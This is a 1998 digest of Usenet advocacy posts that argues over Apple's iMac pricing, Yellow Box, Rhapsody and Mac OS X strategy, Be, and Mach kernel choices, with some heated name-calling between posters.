machines from off the shelf parts and on top of that they were writing
an OS. I still think the comparison between the big boys and Be isn't
a valid one but as you say YMMV.
>
>> of the asian hardware manufacturers made it possible for certain
>> newcomers to make it in the computer assembling world. Plus any fool
>> can assemble a PC given the components (proof: hell I did it and I'm
>> no genius:)
>
>That any fool can put a PC together doesn't corrolate to a multi-billion
>dollar success in selling PCs.
yeah well put a whole bunch of fools together and you got your
multi-billion success. :)
>--
>Thanks, be well, take care, later, John Kheit; self expressed...
>______________________________________________________________________
>UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@mediaone.net
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
--
Little Piggy
Who is General Failure and why is he reading my hard disk?
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Profits up, revenues continue to slide
Message-ID: <edewEw7oKo.3A1@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com>
Date: Thu, 16 Jul 1998 23:43:36 GMT
In article <6oktri$frj$1@lwnws01.ne.highway1.com> jkheit@mediaone.net writes:
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>> They'll sell all they can make for $1299.
>
>That' would be a bad telltale as well.
>
>
>> As for "not competitive", you must have missed the lengthy thread earlier.
>> In spite of numerous challenges, no one was able to come up with name
>> brand PII systems that were comparable for less money. The best that
>> anyone came up with was a Quantex system which was pretty close for the
>> same price.
>>
>> Unless you have some new evidence that they're not competitive, that issue
>> has been settled.
>
>I didn't follow that thread. Furthermore, time doesn't and wont stand still;
>things will be very different in august if and when the imac is released.
>
>I just cracked the July computer shopper (dont have the aug yet) and on page
>344 for 979 theres a unit with a 233 P2 (Intel) processor, 32mb, 4.3gb, 24x
>cd rom, 15" monitor, stereo speakers, 3d sound, 15" monitor, win 95, quicken,
>lotus smartsuite. At this price range you don't have to necessarily compete
>on a point to point basis. You oftentimes have to compete on a price point
>basis. The average 999 cpu purchaser is not looking at things like
>expandability (wich the pc's are better at) or price performance, they are
>specifically looking at what can they get for 999 (and not spend 30% more).
>And at that price point, many are not demanding a name brand, just a machine.
>So apple in many cases will be compared to non-namebrands; and to be fair
>they ought to compete on some level with non name brands since there is no
>non-name brand mac segment that is viable.
>
Computers are not a commodity, or at least should not be positioned that
way (by Apple). Apple should sell the iMac as *THE* internet-ready computer
for the masses (hence, the "i" in the name). Apple should avoid competing
on any established fronts (e.g., price points, software availability, etc.).
Apple should distinguish itself from possible competitors and make its own
market. Then, it can charge whatever it wants because there are no
challengers.
EDEW
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: next.advocacy says:YB is dead -- YB says: next.advocacy is dead!
Date: 16 Jul 1998 19:39:18 GMT
Organization: Michigan State University
Message-ID: <6olkt6$o61$1@msunews.cl.msu.edu>
References: <35ac4e75.0@news.telekabel.at> <6oim56$hm4$2@msunews.cl.msu.edu>
<35ad1bd2.0@news.telekabel.at>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Christian Benesch
In <35ad1bd2.0@news.telekabel.at> Christian Benesch wrote:
> In <6oim56$hm4$2@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com
> wrote:
> > In <35ac4e75.0@news.telekabel.at> Christian Benesch wrote:
> <SNIP - my own ranting>
>
> >Well to my mind advocacy is where people post arguments for being an
> >advocate and where people shoot those down. It is a debate place.
> >Frankly if you think that Apple dropping PC support isn't a big deal
> >then fine. Live in your rosey world and buy your G3 or G4. But
> >if you havn't listened there are a number of long time NeXT
> >developers/VARs
>
> *sigh*. Sadly,fiddling for 3 years with the various academic bundles
doesn't
> place me in that category.
I mainly place myself as an integrator - and general what do you want
here are your options kind of guy. Not big potatoes by any sense of
the word. Apple won't live or die by me alone - but if there are
another
1000-10000 of people like me out there - and I'm talking about if they
release YB to the world free - that could easily sell 100-1000 copies
of MacOS X Server - now multiply that by the 1000-10000 of me
at $100-200 a crack.. The numbers start @ $10Million gross revenue
to $2Billion... That includes no machine purchases.. Or EOF,
Developer Tools, WO, etc.
> >who are now probably the majority of YB developers/VARs that are
> >concerned about Apple's 'blowing with the wind' and 'covering all
> >bases w/o covering any' attitude.
>
> I can see,that this could concern, but in most part those compromises
had to
> be made to assure that commercial foothold,I was talking about.
> (Carbon,to name it, is not such a bad idea if you view it in
perspective.
> That is, as a transition technology).
Frankly I don't see Apple telling them that at all. Were you a MacOS
developer would you want to hear that you have to do 2 ports rather
than 1.. Either way one of those ports for them (to YB) will be hard.
I don't see Apple telling them - we'll buy you time with Carbon -
but YOU have to decide about YB. Tell me what do you think
Apple will do if 90% of their sales/apps etc. are found to be from
Carbon apps etc. If YB runtimes are free - what do you think
Apple will do? Especially if no-one buys WO, EOF, Dev tools..
Or Java gets hot..
IMHO YB will die. This is the Jobs - and market mentality - if it's
not making $$ we'll just drop it. I agree with this to some extent
but there is an element of marketing - and customer loyalty
that takes a long time to build - and in my mind Apple has lost
quite a bit of trust in many arenas.
To top this off I saw a cousin I havn't seen for quite some time
she's a teacher - and in their school they have Macs PM's to
be precise. They can't find support people easily now because
mac 3rd party markets are drying up - shifting to x86 and MS.
What are those schools going to do when they find they can't
support those G3's and MacOS X..
> As regards dropping PC support(dropping of Rhapsody/Intel after 1.0,
to be
> exact), I wonder what part the Microsoft investment plays here.
(Which DID
> help Apple, as much as I hate to say it.)
No-one knows. Frankly If it meant giving MS x86 I would have said
bug off. Screw MS-Office. I really don't understand why some people
think they need a native mode for MS-Office - most of the time it's
just waiting for your input. A Red-Box emulator on x86 (Insignia - or
other solution) would have been very good. YB on windows is
of course the other option if the user is hooked on more than MS-Office
or features only available in windows on a PC.
> > An individual user may blow
> > with the wind, but not a corporation. For corporations doing MCCA
> > work - they absolutely need to know that their investiment is
secure.
> > And their investiment is much more than some paltry off the shelf
> > software.
> > It's people and code- and all the costs that go along with
training, &
> > paying
> > them to learn how, and finally produce that code.
> >
>
> True, but that was the strong point of YB,wasn't it?
That is what they said - which is why all this - porting is hard
crap is impossible to my mind - along with drivers are expensive.
A bunch of BS to me. NeXT did pretty well IMHO - not perfect -
with much less than Apple has at its disposal..
Even though YB gets you to windows - if you don't know you
will have a safe investiment in YB code at least for the forseeable
future - well if your smart you seek other solutions.
I think for many companies the advantages of YB don't outweight
the risk related to their code/manpower investiment dissappearing
overnight if YB dies.. At least with free unixes & MS they can be
confidant of their code investiment.
> > If YB went away - it absolutely devistates them.
>
> Absolutely,but will it? That is what I was driving at.
My point is no-one really knows. A definative statement
from Apple relating to YB will be supported as long as
we are a company - would go a long way. They could
even qualify it with will be supported until a better solution
comes along - and since much of our enterprise code
depends on YB - if we move from YB to X,Y,or Z then
of course our enterprise solutions will be moved to
X,Y, or Z.. Apple seems to think everyone just
assumes this.. Well previous history has show
NeXT to leave folks twisting in the wind - possibly
Apple also.. Everyone appreciates upfront open
honesty - Neither NeXT nor Apple seem to be up
front or honest about their predicament. MCCA
and enterprise can sniff a slippery salesman a mile
away - once burned foo on you - twice burned foo
on me..
> > Will YB go away
> > the problem is no-one can say with certianty. Hell no-one
> > can say anything with certianty. But many people are fairly
> > certian Microsoft will be here for the next 5 years, or Linux,
> > can they say that about Apple. If Apple were to make a all
> > or nothing commitment to YB they'd have a lot more going
> > in that direction.
>
> > But when they water it down with Carbon
> > (legacy man, legacy - I understand this move well - and it
> > was long over due), and Java, and spary on the fire extingusher
> > by telling everyone you have to buy G3 to have YB on Mach..
> >
> > You get a real limp lukewarm reception.. What is clear is
> > Apple is hedging all its bets when it should be pushing
> > forward very strongly on all fronts..
> >
> > Let people know YB is where they want them to be in 5-10 years.
> > Let them know Carbon is Apple listening to developers for
> > a transition period, along with a gained understanding of the
> > investiment they have in their existing codebases..
> > Let people know that you are confidant that G3 hardware
> > IS and WILL CONTINUE to be the best hardware to run
> > MacOS X on by supporting a PC version.
> > Spread the message to MCCA - that we made a mistake
> > saying we'd drop MacOS X on PC - and that we havn't
> > been clear about YB - and therefore the products that
> > rely on it (EOF, WO, Developer tools)
>
> This is probably the point,where my denial sets in:
> 1) Tools = Developer's heaven
> 2) EOF = Creme de la creme
> 3) WO = Excellent (as far as the first two Tutorials have shown me)
> 4) not to forget of course: the whole architecture = marvellous
Yes that is indeed true..
> Can they kill all this? They can't possibly!!!
> (Or can they?.....I am confused)
That is the problem Apple has not stood up strong on YB
AFAIK or IMHO. Frankly mostly I hear from some developers
in tight with Apple that they repeat the mantra Apple has
given them:
YB is good.
YB is great
YB will be here forever
That is what I state.
Don't believe the naysayers
YB won't dissappear soon
and if you do..
I'll shoot you to the moon..
> I am clinging to the understanding that the place is now run mainly
by
> ex-NeXTers (including Jobs) and the hope that they won't backstab
their own
> brain-child.
Yeah - that is part of the problem in my mind. NeXT would always
shift their targets to bigger horizons and dump the - small guys
(even if they are big companies or installed bases)..
They started with Education/Publishing, then went to MCCA, now what?
Desktop web publishing, e-commerce??? What's next?
> Now that you mention it, it *is* odd that they failed to adress the
> traditional NeXT clientel,MCCA(Multiple Client Custom Applications is
what I
> suppose you mean) is what YB cries for.
Yes - a serious failure IMHO - I believe that the bridges are burning
as we write/read. Big beams are falling away and the bridge is
swaying under it's own weight.. It's going to take a major effort
to restore that bridge (bridge of trust). I don't see Apple having
the will - not when they think paying a premium for the 'privledge'
of using a superior OS means they can treat us like lemmings.
> > Tell everyone that Java is not YB - but that Java is
> > important - so much so that Apple believes it will
> > have the preimere Java Devleopment platform
> > in the coming months/years. And in fact have
> > THE preimere Java, YB, Windows development
> > platform.
> > Let everyone know that Apple is not going away,
> > and they are not afraid of the MS/Intel juggernaut.
>
> If you look at the recent adds, Apple's not afraid. (YB future is, I
still
> believe, closely linked to Apple's hardware success.)
Not at all. Java is being tossed around quite a bit - and
if 1/2 of the MacOS developers port to carbon - they will
have 100x the YB apps. If people buy G3 for Carbon
Apps mostly and not buy YB apps or solutions.. Really
Apple doesn't care what sells hardware as long as
it sells.. They should be sending a survey along with
every machine to find out why a person purchased
the machine.. I bet it's mostly to run MacOS 8.x and
get some speed benefits..
> > Even a little virus can take down a human - can you
> > say YB for windows (now there's a little virus)..
> >
> > These are things that in my mind Apple is failing miserably
> > at. It is all well and good to placate and recharge your existing
> > and shrinking community - but you must send such a strong
> > bolt to your customers where a huge potential for growth
> > is as to energize them - and the masses - not to just
> > "Think Different" but to "Act Different"
> >
>
> *Official* support is somwhat watered down by Carbon,etc. , I can see
that,
> but the question is, whether this will really result in abolition of
YB.
> Hell, what else do they have to go on?
Java, Carbon. Sick idea - but anything could happen.
I will reiterate - if Apple starts touting MacOS X as the preimere Java
development platform and few people are buying YB apps (WO, EOF,
etc.) you can kiss YB good bye shortly thereafter.
> They renamed Rhapsody MacOS X/Server.If only psychological,still one
tiny
> step into the direction you are proposing.
Yeah and interesting I was the first (and maybe only person) to
publically
advocate that name change. Privately I don't know.
But I advocated it in conjunction with Apple reiterating PC compatible
support (even if on a reasonably limited subset of hardware) for the
future
2.x and beyond. Apple has repeatedly stated that MacOS X 2.x will be
PPC only - they havn't deviated one iota from this plan.
I also still say to Apple let YB go to GNU or MiscKit - keep YB apps
(EOF, WO, Dev tools, Mail, etc. etc.) sell 'official' YB bundle
versions
along with various levels of support. IF the PPC version runs YB on
Mach
so much better than other hardware (price performancewise) then people
will be beating down the doors to Apple.. 'official' versions
(bundled with
basic YB apps and WO lite, etc.) would sell like hotcakes..
Confidance in YB would be 100% overnight - developers will purchase
dev tools like mad, MCCA, Enterprise etc. WO priced in the 1-2K range
would also sell like mad.
> > That is what Advocacy is all about IMHO.
> Allright, I got the message :)
Cool. I hope you didn't think I was bitching - advocacy - debate -
nice
to meet ya - ya know.. :)
> >
> > Randy
> <SNIP -- signature>
>
> Christian Benesch
>
Randy
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Profits up, revenues continue to slide
Message-ID: <edewEw7oyB.3u3@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu>
Date: Thu, 16 Jul 1998 23:51:47 GMT
In article <rmcassid-1607980934480001@dante.eng.uci.edu> rmcassid@uci.edu (Robert Cassidy) writes:
>As for price competitiveness, I'd say it is well balanced. Sure, there are
>cheaper systems out there, but Apple appears to be throwing in some speed
>and quality to offset the cost. Reasonable. So long as 20% of the market
>find value in quality then Apple should be ok with this strategy
>near-term.
>
>At $999, it really would tear a new ahole in the market, though.
>
>-Bob Cassidy
At $999, it would tear a larger ahole in Apple's bottom line than in the
market. There's a lot of perceptual differences between a $1300 computer
and a $999 computer. People will perceive the $999 as being a cheaper,
thus lower quality machine than a $1300 one. Thus, it could actually
*hurt* sales (as in the quantity sold, not the gross revenue) to lower
the price. Remember, the LAST thing a company should do when sales are
slow is to drop prices (unless they're selling commodities). Either
add features, change marketing strategy, or drop the product, but dropping
prices is the best indicator of a struggling company.
EDEW
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 13:16:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com>
In article <6okstp$mkm@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> xmac@my-dejanews.com wrote:
> : Look at Be and how far (not) they have gotten in the past few years. You may
> : also wish to notice that Gasse's first instinct with Be was to base it on a
> : largely proprietary hardware platform and only when sales tanked did they
> : decide to port to PowerMac and then Intel. Be either needs to get some major
> : backers quick or go opensource with the whole thing. (IMHO)
>
> That's a wierd way to measure things, bud. Be is healthy, is hiring, and
> has a new general purpose OS on the market. Has anyone else achieved that
> in the last 5 or even 10 years? Linux and FreeBSD, but there is a bit of
> a different dynamic there.
>
> You're saying JLG has failed because he doesn't rule the world. I'd ask
> who else has done as well.
No, a GUI has failed when it has no MAJOR applications. Be still has no
support from the major players.
George Graves
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 18:01:32 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1607981801320001@pm3a5.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <joe.ragosta-1507980614160001@elk60.dol.net>
In article <joe.ragosta-1507980614160001@elk60.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Josh.McKee-1407981853200001@pm3a4.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > In other words, Apple said that it would. The very same Apple that said
> > that the NuBus PowerMacs would run the next generation OS Apple was going
> > to deliver. The same Apple that said that "all currently shipping" (at
> > the time the announcement was made) would run Rhapsody, which they've all
> > but killed.
>
> Actually, I don't think that's quite right. When did Apple say that NuBus
> PowerMacs would run Rhapsody? I recall them saying that all the Macs being
> shipped on January 1, 1997 would run Rhapsody. They missed this target (I
> don't think Rhapsody will work on the 6500 and possibly one or more
> PowerBooks), but NuBus Macs were never part of the equation.
When the first PowerMac's shipped, users were told that they would run the
next generation OS from Apple. At the time, that OS was Copeland...which
as we all know was killed off. At that time, Rhapsody then became the
"next generation" OS, so the NuBus PowerMacs should be capable of running
it. But we all know that Apple never committed Rhapsody to NuBus equipped
PowerMacs...they only claimed that all shipping Macs (1/1/97) would.
Fine...one can understand Apple's point of view and the NuBus Power Macs
are getting dated. However, Apple then turn around and for all intents
and purposes killed Rhapsody, the very OS they promised to those buyers on
and after 1/1/97. Now Rhapsody has become OS X, which is G3 only...though
there is no technical reason for this decision.
In my opinion, Apple has been playing games to many times.
> > Unfortunately, I cannot take Apple for anything it says. They've promised
> > so much and delivered so little.
>
> Just the best OS available from a productivity, ease of use, and TCO
> standpoint. An OS which is getting dramatically better every year.
Depending on the circumstance, I find the current Mac OS very nice and
capable. But this is not the point being discussed (at least by myself).
The point I am making is that Apple has been promising customers the next
generation OS for quite some time now...and in the meantime, has led
customers to believe that the computer they purchase today (at the time
1/1/97) would certainly run the next generation OS (Rhapsody at the time).
Josh
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 16:58:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D3E1B6-497D2@206.165.43.46>
References: <6ol3ov$722$2@server.signat.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>> I you don't have a history with MacOS customers, YB offers a larger
>market.
>> If you do, YB cuts your established market by at least 90%
>
> Only if YB runtimes on Wintel continue to be high priced. If their
claims
>at WWDC are true and there's an honest effort underway to make the OS
>free of
>licencing issues, then there is the very real possibility that YB could
>dramatically increase your market, practically for free.
You missed the first part:
"I [f] you don't have a history with MacOS customers, YB offers a larger
>market.
Selling to an installed base, even if it is a new product, is a better bet
than going to a larger market which you've never sold to before.
If nothing else, you have their mailing address because THEY sent it to
you.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Profits up, revenues continue to slide
Message-ID: <edewEw7pJ7.69v@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com>
Date: Fri, 17 Jul 1998 00:04:19 GMT
In article <6olevn$pgd$2@lwnws01.ne.highway1.com> jkheit@mediaone.net writes:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>Right. And that's a shame, because if they could meet the demand of a $999
>machine, they could win major marketshare (relative to what they have now),
>make their platform a more attractive one as a consequence, sell more
>upgrades for OSX/Rhapsody, and in general get more of a toe hold. If Japan
>and ms teach us anything, marketshare is *the* valuable prize.
>
And if the SUV craze taught us anything, it is that if you can create a
new market, you can charge up the wazoo and people will still be buying it.
Profit margin for SUV's are way higher than regular cars. SUV's are
way more expensive than average cars (to maintain, too). But the perception
by the market is that a SUV is cool, or functional, or whatever. Whatever
that perception is, it is not that a SUV is your run of the mill car (despite
the fact that the majority of SUV owners never drive the damn thing anywhere
near a dirt road).
What Apple is doing, I hope, is make the iMac the SUV of internet-ready
computers. Sure you might be able to set up any computer onto the internet
in fifteen minutes. But the perception of the market is that the iMac is
*designed* to be pluggable onto the internet in seconds (whether that's true
or not is not the issue). Well, that's the perception Apple should try to
instill on the market. No other computer has made a claim for being
internet-ready, but that's because computer companies aren't going to make
claims about something that is essentially a software issue. Since all
those computers are running the same software (Windows [3.1|NT|'95|'98],
there is no advantage of one computer over the other in terms of getting
on the internet quicker.
So here comes the iMac, the one computer that CAN say it is internet ready.
True? Who knows. Who cares.
>
>> As for price competitiveness, I'd say it is well balanced. Sure,
>> there are cheaper systems out there, but Apple appears to be
>> throwing in some speed and quality to offset the cost. Reasonable.
>> So long as 20% of the market find value in quality then Apple
>> should be ok with this strategy near-term.
>>
>> At $999, it really would tear a new ahole in the market, though.
>
>Exactly. I'm sure they'll sell all they can make at 1299 for 4months or so.
>But the killer would be if they could meet demand at 999. If I were there,
>I'd eat a lot of shit to make that happen just to get back all that
>marketshare. The marketshare translates into significant power and leverage.
>
And what happens when you lose marketshare while dropping prices? That's
a double-whammy to the bottom line.
EDEW
From: sdavis@aureal.com (Stephen A. Davis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: Thu, 16 Jul 1998 17:11:48 -0800
Organization: Aureal Semiconductor
Message-ID: <sdavis-1607981711490001@149.118.128.38>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
In article <6olq3g$jeh$1@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
>In <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> Pulsar wrote:
>> For quite a while, MkLinux which is Linux hosted on a Mach 3.0 kernel has
>> been running on PowerMac hardware.
>
> Minor nit - Mk is based on the OSF Mk kernel. This was a development using
>many of the mach 3.0 ideas, but it also has any number from the mach 4.0
>project, some from XKernel, and others of their own.
>
>> Mac OS X is supposed to succeed Rhapsody and is supposed to be based on a
>> Mach 3.0 kernel.
>>
>> Is there any particularly good reason why Apple should decide to ignore
>> the MkLinux kernel and write a new one with limited hardware support?
>
> No. Let's be more specific, they should be using Mk, period. Current Mk
>drivers would work unmodified.
Correct. But that's not what Apple nor the user wants. See below.
Pulsar said:
>Apple is working on Rhapsody which is largely a port of OpenStep for Mach
>and is adding various enhancements. This is based on a Mach "2.5" kernel.
The Rhapsody FAQ link
(http://gemma.apple.com/rhapsody/rhapfaq/rhaptechfaq.html) at Apple is
currently broken but let's see if I get this right.
Here's the trick. Yes, the Rhapsody kernel is based on Mach 2.5 but it
also incorporates some things from 3.0, some things from 4.0 (lookin' like
OSF Mk), and the biggest change of all -- a new driver architecture.
Ruh roh.
The driver model that Mk uses does not fit into Apple's idea of a
user-friendly & dynamically-loadable driver architecture. Plus it doesn't
have any notion of device families which pertains to the commonalities
between similar types of devices: sound cards, video cards, keyboards,
etc.
[Admittedly, the progress of OSF Mk and mach 4.0 has surpassed my
knowledge of the state of Mach so they may have some of these features but
I doubt they have all of them.]
I think this new plan is an admirable goal and makes hot-swappable busses
like FireWire and USB a dream to use and support. Remember, MacOS X is
supposed to be the evolution of a consumer OS, not a server OS. It just
so happens that it can function as both but that's beside the point. The
addition of devices should be trivial for the user, unlike a typical Unix
system or NT or whatever. This is the goal.
Take a look at ftp://ftp.apple.com/devworld/Rhapsody/docs/DriverKit.pdf to
see where the OpenStep driver model was and to get a glimpse of the future
for MacOS X.
For those of you who do take a look at the doc you'll notice that one of
the primary goals of the DriverKit -- soon to be IOKit -- is to make
writing device drivers simple. Eeek. Wouldn't that mean Apple could
easily support all the old hardware with no problem? Maybe.
The thing to remember here is that it takes time and effort not only to
develop the support for different machines but also to test and verify
it. Pretty much every Apple machine has something custom about its
hardware. It is a huge headache to QA every combination of machine to the
levels of quality that Apple must target (not necessarily meet but
target). MkLinux supports a lot of machines but some of that support
might be pretty quirky -- you get what you pay for.
Lastly, the official position on MacOS X is that it will be optimized to
run on G3 systems and they're not going to say whether it will support
other machines or not. Give them some slack and see what resources they
can free up to work on older machines. They're a public company and can
get reemed if they promise something they don't deliver so they have to
watch what they say even if they're really doing it anyway.
Just think of the "non-upgradable" processor cards in the G3's and the
iMac. In reality, they _are_ upgradable but Apple won't say they are so
they don't get sued about it later (again).
My two cents,
stephen
--
Stephen A. Davis
DSP Engineer / Sound Geek
sdavis@aureal.com
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 20:30:08 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607982030080001@pelli.pathology.pitt.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <not-1407981048300001@2-25.phx.psn.net>, eilersm@azstarnet.com wrote:
Okay Michael since you are as dense as Carbon Steel , I will be more
specific in my critiquing of your statements.
> In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
>
> > >Scott, why the hell would we listen to you instead?
> >
> > Because Henry was telling you a wild out on a limb
> > speculation.
>
> ...a speculation based on years and years of experience with both Apple
> and journalism. I'd trust his hunches over some armchair pontiff on Usenet
> any day.
Years as a Journalist not a programmer. Norr may not know much about NeXT
and its software to evluate a statements validity. You forget that before
2 years ago I doubt Norr knew squat about the NextOS. And you must not
forget that MacOS X is more Nextstep than MacOS. And I am not refering to
the GUI.
>
> > I'm telling you what I've been told by people at Apple who
> > have intimate knowledge of what is happening. This as recent as this
> > morning.
>
> Ah yes, the mysterious "people at Apple" that I'm sure you know very
> well... Let's just say if I had a dime for every claimed inside source
> people mention on this group, I'd be too busy spending the money to
> respond.
Mysterious my ass. Most peaple are very aware of Mr Anguish and his
connections which are much deeper than Norr's. What you do not realize
isa that when Jobs assumed control of Apple, the bozos that Norr knew so
well were mostly canned. Why don't you take a look at who is in charge of
the various divisions at Apple, You should note that most are from NeXt.
Just out of curiousity if Norr had such good connections and great
understanding of the mifghty Apple, then why was he caught with his pants
down when Copland finally went "bye bye"? I will tell you why, Norr is
simply a journalist. He does not program and And thus does not always
recognize a white wash job from the truth.
>
> I'm not naieve, scott, but I fear that you are. Aren't you aware that
> Apple is a huge company, and that decisions (since Jobs showed up) come
> from the top down? Sure, you might be friendly with the intern toilet
> washer at Apple, but that doesn't mean the person knows anything. Hell,
> I'm willing to bet even senior developers at Apple don't know what the
> hell is going on there--haven't you seen the famous "security memo" Steve
> sent around after he kicked Amelio out? Haven't you heard about the
> Columbus smokescreen Apple deliberately "leaked" in such a way that their
> own staffers were the ones unwittingly spreading the story?
You are quite naive IMHO. Jobs has aN INNER circle of advisors, ALL ARE
OF NeXT LINEAGE. HIS MAIN ADVISOR WITH REGARD TO HARDWARE AND SOFTWARE IS
AVIE TERVANIAN. Avie is one of the fathers of the Mach Kernal(That is
what he did his PhD thesis on at CMU). After completing his PhD he was
Promptly hired by Jobs. Jobs is a visionary and Manger not a programmer.
That does not mean that he does not know how to program.
Yore statments regarding who Mr Anguish knows and does not know shows me
that you do not read much but you a a pompous know it all that does not
even know that you do not know your Head from your ass. You do not have a
clue about how small the Next programming community was relative to the
Mac community. And if you think that Only Steve knows YOU ARE A BLOODY
IDIOT. The man that knows all is AVIE TERVANIAN. As for Columbos being a
smoke screen....Well if you read the banter being passed on the Usenet as
knowledge, I can see why you are in the Dark. If you have read the
articles being written at AAPL Recon and MacNN Reality, you would know
that Columbos is the name of a Motherboard that is to be used in a host of
devices, the two most notable are the iMAC and the AMP box. Recon was the
first to break the story and IT WAS CORRECT. sites like News.com got it
wrong.
>
> I wouldn't trust any source at Apple besides Steve Jobs--after all, he's
> the one holding the still-bloody axe, and who just might swing it again at
> any time. until I get word from him, I'll trust the word of people who
> have been getting paid for a long time to observe him and his company and
> extrapolate from there.
The bloody axe needed to be swung. The old managers at Apple from the Gil
days and before were IDIOTS. They were horrible. Margins were at about
15-17 percent, they had over twenty different motherboards and they were
bleeding cash. If Steve did not swing the AXE then Apple would be being
liquidated.
Jobs is the CEO of two companies and he does have peaple at each company
that know all. At Apple, what Jobs knows so does Fred Andersen, Avie
Tervanian,John Rubenstein and Mitch Manditch. If you doubt this then you
are a moron.
>
> As for this whole Yellow Box issue, Norr is just one of many, many voices
> predicting its death. Developers themselves just about fell over and died
> when Apple announced Rhapsody and a brand-new set of APIs to learn, as
The Mac Developers may have but the NeXT developers were tickled pink.
And guess what Scott Anguish is a NeXT programmer.
> reported on MacCentral long ago. Take a look at the software developed on
> Yellow Box--enterprise stuff and word processors, a paint program or two.
> Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> Macromedia--the people who *made* the Mac what it is today--were willing
> to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
> the Yellow Box forever.
How do you know this? Do you talk with the programmers at these * great*
software houses? Did the janitors tell you this?
They do not want to migrate their entire code base at once. because that
would DESTROY exsisting revenue streams. As for what they will use for
products in say three years is anybodies guess. YB is a great way to
develop new programs on. The reason they do not want to have to port
everything to YB is because that would cost too much. NO PROFIT NO
REASON.
Given time, they will devlop new programs in the YB but that is pure
conjecture on my part.
>
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 16 Jul 1998 20:22:33 GMT
Organization: Deja News - The Leader in Internet Discussion
